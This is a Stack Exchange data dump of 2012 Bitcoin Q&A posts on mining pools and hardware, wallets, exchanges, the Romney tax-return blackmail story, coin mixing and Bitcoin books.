  <row Id="4878" PostTypeId="1" AcceptedAnswerId="4879" CreationDate="2012-09-29T16:51:39.797" Score="3" ViewCount="465" Body="&lt;p&gt;I'd like to get a list of the hash power of the major pools, solo miners, and if applicable undocumented hash networks.  How can I obtain this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this information already exists, how did that site or service collect that information?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:43:42.083" LastActivityDate="2016-03-16T08:43:42.083" Title="Tracking Hash/sec of major pools and individual (solo) miners" Tags="|mining-pools|hashpower|solo-mining|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4879" PostTypeId="2" ParentId="4878" CreationDate="2012-09-29T17:09:07.047" Score="3" Body="&lt;p&gt;Such information is &lt;a href=&quot;http://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;already listed on Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can track that information by tracking the created block amount through various means - some pools embed information about the block's origin into the coinbase transaction, others might use the same reward address each time. Alternatively, you could try tracking which pool relayed the block first if you are connected to all of them, or perhaps keep a track of each pool's &lt;a href=&quot;http://mining.bitcoin.cz/stats/&quot; rel=&quot;nofollow&quot;&gt;statistics on blocks and shares&lt;/a&gt; to see which one claims ownership of the block.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-09-29T17:39:32.750" LastActivityDate="2012-09-29T17:39:32.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostTypeId="1" AcceptedAnswerId="4884" CreationDate="2012-09-29T21:00:51.907" Score="-1" ViewCount="203" Body="&lt;p&gt;On the &lt;a href=&quot;http://edition.cnn.com/2012/09/06/politics/romney-tax-threat/index.html&quot; rel=&quot;nofollow&quot;&gt;6th of September, 2012 CNN reported&lt;/a&gt; that a hacker group got a hold of Mitt Romney's tax return information and demanded a ransom of 1 million dollars equivalent in bitcoins to be paid for not revealing the information, or for revealing it instantly. What is the full story behind the hack and blackmail? Was the ransom paid, or was the data revealed?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="575" LastEditDate="2012-09-30T04:59:32.723" LastActivityDate="2012-09-30T04:59:32.723" Title="What's the story behind the Mitt Romney's tax return information blackmail" Tags="|news-coverage|hacking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostTypeId="1" AcceptedAnswerId="4882" CreationDate="2012-09-29T21:39:10.737" Score="3" ViewCount="1172" Body="&lt;p&gt;I am relatively new to Bitcoin and I have a very simple question: what wallet software is behind &quot;online wallet sites&quot; like &lt;a href=&quot;http://www.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://www.blockchain.info&lt;/a&gt;? I would like to set up a mini-site to store my/friends online wallets and I guess I would need a daemon-shell-based Bitcoin wallet software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I start to do so?&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="132" LastEditDate="2012-10-01T20:13:06.983" LastActivityDate="2012-10-01T20:13:06.983" Title="Which software can I use to setup an e-wallet site?" Tags="|wallet|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4882" PostTypeId="2" ParentId="4881" CreationDate="2012-09-29T21:59:48.853" Score="2" Body="&lt;p&gt;Most eWallet services would probably be using the standard Bitcoin client running in the server mode. You would then control it through the use of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON RPC commands&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for personal use, you probably want to just use existing eWallet solutions, or commission someone to help you set your wallet up taking into account such concerns as data security, proper wallet backup and so forth (shameless autopromotion - &lt;a href=&quot;http://tiny.cc/ThePiachu&quot; rel=&quot;nofollow&quot;&gt;you can contact me;)&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-29T21:59:48.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4883" PostTypeId="1" AcceptedAnswerId="4885" CreationDate="2012-09-29T22:01:44.370" Score="2" ViewCount="10331" Body="&lt;p&gt;If I have a computer with low specifications (2GB RAM, 2.13 GHz, integrated graphics), is there any way to mine normally with Bitcoin-qt? If not, will joining a pool with these specs be worth the time and effort? What kind of specs are normally recommended for mining?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastEditorUserId="5406" LastEditDate="2016-03-31T10:34:16.430" LastActivityDate="2017-05-07T10:17:14.670" Title="Mining with low specs?" Tags="|mining-pools|mining-profitability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4884" PostTypeId="2" ParentId="4880" CreationDate="2012-09-29T22:31:47.347" Score="2" Body="&lt;p&gt;There were 3 BTC paid on the &quot;release&quot; side, and 0.72 BTC paid on the &quot;don't release&quot; side.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it brought in under $50 USD worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the deadline passed with no tax returns.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailydot.com/news/blackmailers-50-dollars-bitcoin-romney-taxes/&quot; rel=&quot;nofollow&quot;&gt;http://www.dailydot.com/news/blackmailers-50-dollars-bitcoin-romney-taxes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-29T22:31:47.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4885" PostTypeId="2" ParentId="4883" CreationDate="2012-09-30T01:12:36.373" Score="2" Body="&lt;p&gt;No, this would not be worth it. CPU mining is extremely slow and there is probably no OpenCL driver for your integrated graphics. You could however hook up FPGAs to that computer, or in the future, bitcoin ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently recommended hardware would be FPGAs and/or fast AMD graphics cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the near future there are several ASIC-based mining devices scheduled for launch. These will drive up the difficulty, making today's FPGAs and AMD GPUs seem slow.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-09-30T01:12:36.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostTypeId="1" CreationDate="2012-09-30T02:46:35.540" Score="-2" ViewCount="114" Body="&lt;p&gt;Even though I'm not a native English speaker, I feel that &quot;received to&quot; (some address) is more understandable or more naturally sounding to an average user than &quot;received with&quot;. Is there any specific reason why &quot;with&quot; is consistently used in Bitcoin software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an analogy, if I own several e-mail addresses, I would naturally say I received an e-mail message &quot;to&quot; an address, not &quot;with&quot; it. The &quot;with&quot; variant seems to me to be a wallet's (ie. software's) point of view, not the user's; as in &quot;I caught the ball with my left hand&quot; which would be analog to &quot;I, the wallet software, received the funds with this address&quot;. This might feel natural for a wallet programmer, but not the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on translating some Bitcoin software to Slovenian and would like to clear up some things like this before I make an incorrect or unclear expression get into widespread use in my language.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastEditorUserId="132" LastEditDate="2012-10-01T20:08:29.970" LastActivityDate="2012-10-01T20:08:29.970" Title="Why is the phrase &quot;Received with&quot; used instead of &quot;Received to&quot;?" Tags="|address|" AnswerCount="1" CommentCount="4" ClosedDate="2014-03-29T17:20:06.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="4887" PostTypeId="1" AcceptedAnswerId="4891" CreationDate="2012-09-30T04:34:39.023" Score="0" ViewCount="2405" Body="&lt;p&gt;Also, what risks are involved? Do the service(s) have a long track record?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="132" LastEditDate="2012-10-01T20:09:03.667" LastActivityDate="2015-03-03T09:36:52.187" Title="What is the most cost effective way to exchange USD for Litecoin?" Tags="|exchanges|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostTypeId="2" ParentId="4883" CreationDate="2012-09-30T07:11:52.727" Score="1" Body="&lt;p&gt;Mining is generally not about the CPU, but the GPU. You ought to check what graphic card you have in your computer, reference the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining Hardware Comparison on the Bitcoin Wiki&lt;/a&gt;, and then do some calculations on such sites, like &lt;a href=&quot;http://tpbitcalc.appspot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;my Bitcoin Calculator&lt;/a&gt; for example. If you think your setup will provide you with enough bitcoins for your buck, go for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as there are a lot of new miners introduced to the Bitcoin Network that use power-efficient FPGAs or ASICs, even the most efficient GPU miners might struggle to compete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also look into some alternative Bitcoin-like currencies that are &quot;GPU-resistant&quot;, that is, they are most efficiently mined with CPUs. They might be &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2871/can-i-cpu-mine-others-coins-to-win-bitcoins&quot;&gt;more efficient&lt;/a&gt; for your setup.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-09-30T07:11:52.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostTypeId="2" ParentId="4887" CreationDate="2012-09-30T07:21:19.493" Score="2" Body="&lt;p&gt;You could try looking for someone to trade you USD for litecoins in your local area in person, through &lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin OTC Exchange&lt;/a&gt;, or perhaps &lt;a href=&quot;https://btc-e.com/exchange/ltc_usd&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt; or some other online exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first case the risk should be fairly small, although it might take a long time to find someone, get in contact with them and so forth. Not to mention the exchange rate might not be in your favour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option should give you better results, but you'd have to make sure you are dealing with someone reputable enough for your trade. However, finding an exchange rate in your favour might not be too easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third option is probably the safest and the exchange rate should be reasonable. The main problem you might face with established exchanges is possibly having to register on them with your documents to avoid your account and funds being suspended due to Anti-Money Laundering laws and regulations.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-30T07:21:19.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostTypeId="2" ParentId="4886" CreationDate="2012-09-30T07:29:50.643" Score="2" Body="&lt;p&gt;I don't think &quot;received to&quot; is a correct phrase in itself. You can say that &quot;a transfer was made to my address&quot;, &quot;I received money with my address&quot; but not &quot;I received money to my address&quot;. Then again, you probably should ask this question on &lt;a href=&quot;https://english.stackexchange.com/&quot;&gt;English SE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:38:46.957" LastActivityDate="2012-09-30T07:29:50.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostTypeId="1" CreationDate="2012-09-30T10:39:04.650" Score="6" ViewCount="334" Body="&lt;p&gt;The &lt;a href=&quot;https://www.bitcoinfoundation.org&quot;&gt;Bitcoin Foundation&lt;/a&gt;'s Executive Director, Peter Vessenes, in his &lt;a href=&quot;https://www.bitcoinfoundation.org/about/letter&quot;&gt;open letter&lt;/a&gt; states that the Foundation is aiming to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Publish a set of best practices for businesses transacting in Bitcoin, covering topics from accounting to physical and digital security&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any information on how this set of best practices is being developed, who is working on it and whether any individual can contribute to the works?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-05-25T10:19:30.020" LastActivityDate="2014-05-25T10:19:30.020" Title="Bitcoin Best Practices by the Bitcoin Foundation" Tags="|standard|bitcoin-foundation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4894" PostTypeId="1" AcceptedAnswerId="5173" CreationDate="2012-09-30T15:42:01.420" Score="0" ViewCount="3345" Body="&lt;p&gt;I've heard recently &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1858/what-are-the-differences-between-bitcoin-and-litecoin/1861#comment7134_1861&quot;&gt;here&lt;/a&gt; that Litecoin became more GPU-friendly. When did this happen, and what were the changes to the protocol to accommodate that change. Also, is there any reason for the change provided by the project developers?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-03-31T10:26:55.380" Title="When did Litecoin become &quot;GPU-friendly&quot;?" Tags="|litecoin|mining-theory|gpu|change|news-coverage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4895" PostTypeId="1" CreationDate="2012-09-30T18:11:59.800" Score="4" ViewCount="1630" Body="&lt;p&gt;Assuming heat and noise factors are not a concern, are there any additional issues (radiation) to be concerned about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How far should this device be stored away from children's play rooms and sleeping rooms?  Can it be in a locked ventilated cabinet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand if this device, when powered on at full capacity, causes any health and safety concerns. &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:47:58.717" LastActivityDate="2023-02-06T16:28:38.907" Title="Can a Butterfly Labs Mini Rig SC cause health concerns if stored in a bedroom?" Tags="|mining-hardware|solo-mining|mining-setup|butterfly-labs|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostTypeId="2" ParentId="4895" CreationDate="2012-09-30T18:35:35.737" Score="1" Body="&lt;p&gt;I don't know the actual design of the Butterfly Labs machines, but I assume that the health risks should be similar to a traditional mining rig. Probably the main concern would be the noise level of any fans installed in the machine, as well as potential electric shock should the machine be operated haphazardly and without proper grounding. You also might be worried about potential static build up, high-temperatures and overheating (should the machine gather dust over a period of time). One way or the either, the common sense would dictate that the machine should generally be safe under normal conditions, but I would keep it out of kids' reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I have no practical experience with dealing with any Butterfly Labs hardware, and while I have a technical electronics diploma, I'm not an expert in safety or similar devices.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-30T18:35:35.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4897" PostTypeId="2" ParentId="4442" CreationDate="2012-09-30T21:54:24.740" Score="8" Body="&lt;pre&gt;&lt;code&gt;P2Pool: 17401 shares in chain (9127 verified/17405 total) Peers: 11 (0 incoming)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that P2Pool knows of 17405 shares, 9127 of which have been verified (indicating that you haven't been running p2pool for more than 24 hours), and 17401 of which are in the selected chain (meaning that there have been 4 orphaned shares globally in the past few minutes).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Local: 1689MH/s in last 10.0 minutes Local dead on arrival: ~3.8% (2-8%) Expected time to share: 29.8 minutes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have 1689MH/s mining, with 3.8% of shares invalid due to latency between P2Pool and the miner. It's expected that you'll get your next share in half an hour.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Shares: 3 (1 orphan, 0 dead) Stale rate: ~33.3% (6-80%) Efficiency: ~73.5% (22-104%) Current payout: 0.0174 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You found 3 shares, one of which was orphaned (33.3% of them), indicating that your normal stale rate if you continue falls between 6% and 80%, with 95% confidence. Your efficiency is 73.5%, meaning that you'll only get 73.5% of what you should, based on your stales, though in the future, the true value will fall between 22% and 104% with 95% confidence, so there's no evidence currently that something is wrong (since 100% is in that interval).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pool: 415GH/s Stale rate: 9.3% Expected time to block: 6.3 hours&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pool has a total of 415GH/s of hashing power, and 9.3% of discovered shares aren't integrated into the sharechain. It's expected that we'll get a block in 6 hours.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-09-30T21:54:24.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostTypeId="2" ParentId="4895" CreationDate="2012-09-30T22:41:03.940" Score="0" Body="&lt;p&gt;Would you place always-on 1,500 Watt space heater in your kids room?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's effectively what that Mini Rig SC becomes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, it is a $30K piece of computing hardware -- something not made to handle squirt guns, pillow fights and whatever else goes on.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-09T18:24:41.000" LastActivityDate="2012-10-09T18:24:41.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostTypeId="1" AcceptedAnswerId="4901" CreationDate="2012-10-01T01:12:56.147" Score="4" ViewCount="3607" Body="&lt;p&gt;Can Artificial Intelligence be used to find more efficient mining algorithms? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there only one algorithm that can be used to mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Asking about running the SHA(SHA(block header)) more efficiently to mine Bitcoin, not chainging the Bitcoin mining algorithm.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="5406" LastEditDate="2016-03-31T10:33:12.240" LastActivityDate="2021-08-24T13:07:17.110" Title="Can Artificial Intelligence be used to mine BitCoins faster?" Tags="|mining-profitability|mining-theory|proof-of-work|algorithms|sha256|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostTypeId="2" ParentId="1767" CreationDate="2012-10-01T04:33:50.300" Score="0" Body="&lt;p&gt;I think originally addresses were meant to be an internal Bitcoin mechanism (ie. a technicality) and not something users should care about (or even ever be able to see). Se [this answer] for more on this, and the answer's question for one of the arguments for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps what you actually want, instead of seeing multiple &lt;em&gt;addresses&lt;/em&gt; with their particular balances, is to uses multiple &lt;em&gt;wallets&lt;/em&gt; -- clients that support multiple wallets (eg. MultiBit and Armory but not the original client) will of course show the balance for each wallet separately.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2012-10-01T04:33:50.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4901" PostTypeId="2" ParentId="4899" CreationDate="2012-10-01T05:25:50.437" Score="2" Body="&lt;p&gt;If you are talking about finding a better algorithm than SHA(SHA(block header)) - it might be possible to optimise the algorithm for some features, like being GPU resistant and so forth, but generally that would be a bit pointless. Changing that algorithm now would undermine the stability of Bitcoin and wouldn't benefit it much. Generally, the current algorithm does it job and does it well - it provides scalable difficulty, the mechanics are still unbroken, and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for using AI to try solving the SHA(SHA(block header)) algorithm - it probably would be hard if not computationally impossible at the moment. The algorithm doesn't appear to be broken, meaning that the output of the calculation appears to be quite random, which is not faring good for trying to use AI to solve it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T05:25:50.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4902" PostTypeId="2" ParentId="4841" CreationDate="2012-10-01T06:46:47.050" Score="2" Body="&lt;p&gt;The mixing service could use various means to obfuscate the mixing - for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It can make you send coins to some off-line address, then send you your coins from its own supply of bitcoins before introducing your coins into the circulation again. This way it would appear that the transaction took place before you send the coins to the mixing service, and thus be harder to link&lt;/li&gt;&#xA;&lt;li&gt;The service could split your Bitcoins into many smaller amounts and launder them each individually&lt;/li&gt;&#xA;&lt;li&gt;It could deposit some of your money into some eWallets or similar services that use a shares pool of coins&lt;/li&gt;&#xA;&lt;li&gt;It could use your money to purchase mining hardware and mint you fresh coins&lt;/li&gt;&#xA;&lt;li&gt;The service could pay your money back to a few of your receiving addresses, making finding the final amount harder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally, there are many creative options of hiding things in the Bitcoin network, you just have to use your imagination.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T06:46:47.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostTypeId="2" ParentId="4895" CreationDate="2012-10-01T10:51:08.190" Score="1" Body="&lt;p&gt;At the time of writing no hardware is available for inspection. However, the standards body for your country will provide the necessary health and safety criteria that should be adhered to. In the case of the US you should look for UL laboratories. In the EU the CE regulations apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do bear in mind that the BFL equipment is likely to designed for an industrial environment so will have higher noise and interference than domestic equipment.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-10-01T10:51:08.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4904" PostTypeId="1" CreationDate="2012-10-01T11:50:46.267" Score="8" ViewCount="4935" Body="&lt;p&gt;I have a bitcoin client installed on machine one. Let's say it has 5 coins in there. I then have another machine, with another client on it. Can both machines see the same wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to have a per machine wallet? What if I want to pool my coins in one place?&lt;/p&gt;&#xA;" OwnerUserId="1965" LastEditorUserId="196" LastEditDate="2013-04-20T11:58:23.323" LastActivityDate="2013-04-20T11:58:23.323" Title="Can wallets be shared by different machines?" Tags="|wallet|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostTypeId="2" ParentId="4904" CreationDate="2012-10-01T13:29:21.970" Score="1" Body="&lt;p&gt;You can copy your wallet over multiple machines, but you should generally not do that. Besides, your wallets would start drifting apart with each use - generally Bitcoin keeps a set of spare keys in case you need to use them in the future, and the set is refilled every now and then with random new keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best practices for using Bitcoin is to have backups of wallets, but not use them on multiple machines at the same time. If you want to access your coins from anywhere, you can either look into running Bitcoin in a server mode (a bit tricky, not really for beginners), or using one of the many &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aEWallets&quot; rel=&quot;nofollow&quot;&gt;eWallets&lt;/a&gt; available around (you trust your coins to a third party, but this option is quite easy [just don't put too much money there;) ]).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T13:29:21.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4906" PostTypeId="1" CreationDate="2012-10-01T13:31:22.513" Score="4" ViewCount="42723" Body="&lt;p&gt;I am wondering how the Bitcoin program makes profit if there are no advertisements or taxes?  How do the owners make money off of this?&lt;/p&gt;&#xA;" OwnerUserId="1966" LastEditorUserId="5406" LastEditDate="2016-06-13T17:38:40.307" LastActivityDate="2017-10-28T23:58:55.393" Title="How does bitcoin make profit?" Tags="|governance|project|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostTypeId="2" ParentId="4906" CreationDate="2012-10-01T13:51:37.953" Score="9" Body="&lt;p&gt;There are no &quot;owners&quot; of bitcoin. It is like a protocol or algorithm, such as HTTP or SHA256. No one made money creating the program; it's free and open source!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are people who make money by &quot;mining&quot;. From the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#Initial_distribution&quot; rel=&quot;noreferrer&quot;&gt;bitcoin wikipedia page&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoins are awarded to Bitcoin &quot;miners&quot; for the solution to a difficult proof-of-work problem which confirms transactions and prevents double-spending.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Miners can also get extra bitcoins from voluntary &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;noreferrer&quot;&gt;transaction fees&lt;/a&gt;. In every transaction, it is recommended to pay a tiny fee so that miners will have an incentive to actually compute your transactions in the next block. Without a miner to verify your transactions, there is no way you or your payee can ensure that the bitcoins transferred are valid.&lt;/p&gt;&#xA;" OwnerUserId="1817" LastEditorUserId="1817" LastEditDate="2012-10-01T20:21:17.207" LastActivityDate="2012-10-01T20:21:17.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostTypeId="2" ParentId="4906" CreationDate="2012-10-01T14:42:14.867" Score="7" Body="&lt;p&gt;Bitcoin is an open-source project - the developers devote their free time to work on it and don't necessarily do it for profit. Other crypto currencies sometimes come pre-mined, or the developers don't share them too quick in order to create a supply of coins for themselves only to sell it for profit later. From what I know, this wasn't the case for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the developers can be getting money from various donations. In case of Bitcoin, &lt;a href=&quot;https://www.bitcoinfoundation.org/about/letter&quot;&gt;the Executive Director of the Bitcoin Foundation has claimed&lt;/a&gt; that one of the goals of the Foudation for 2013 is to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Begin to pay Gavin’s salary and get him some budget for the core development team &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which can imply that the future development of the Bitcoin project will be funded at least partially by the Foundation.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T14:42:14.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostTypeId="1" AcceptedAnswerId="5311" CreationDate="2012-10-01T17:00:52.237" Score="11" ViewCount="4911" Body="&lt;p&gt;Thanks for any link/author+title. I prefer max. 2 years to the past if possible. If you know about some book that will be published in the near future, you can mention it too.&lt;/p&gt;&#xA;" OwnerUserId="1969" LastEditorUserId="5406" LastEditDate="2014-10-12T22:04:55.997" LastActivityDate="2024-03-12T21:52:54.097" Title="Any books about Bitcoin?" Tags="|bitcoin-literature|" AnswerCount="11" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4912" PostTypeId="2" ParentId="4911" CreationDate="2012-10-01T17:24:53.863" Score="7" Body="&lt;p&gt;Bitcoin was barely around 2 years ago;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently to my knowledge the closest thing to a Bitcoin book is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot;&gt;my master thesis on Bitcoin&lt;/a&gt;. It focuses on analysing the security of Bitcoin software and the ecosystem, but a lot of people find it to be a good read even for beginners. It is in English, but wasn't published anywhere but a couple prints for my studies and online.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T17:24:53.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostTypeId="2" ParentId="4911" CreationDate="2012-10-01T17:40:17.807" Score="3" Body="&lt;p&gt;Peter Surda is writing a book which if I understand correctly, will explain the foundations of money and how they relate to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, coindl.com lists several eBooks, some of them are about Bitcoin. Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;A Beginner's Guide To Bitcoin And Bitcoin Services&quot; by Trace Mayer,&#xA;J.D.&lt;/li&gt;&#xA;&lt;li&gt;&quot;A Lawyer's Take On Bitcoin And Taxes&quot; by Trace Mayer,&#xA;J.D.&lt;/li&gt;&#xA;&lt;li&gt;&quot;You Can Learn Bitcoin&quot; by David R. Sterry.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Introduction to Bitcoin Mining: A Guide for Gamers, Geeks and Everyone Else&quot; by David R. Sterry.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Bitcoin - What It Is and Why It Matters&quot; by Anthony Freeman.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-04T17:11:14.860" LastActivityDate="2012-12-04T17:11:14.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
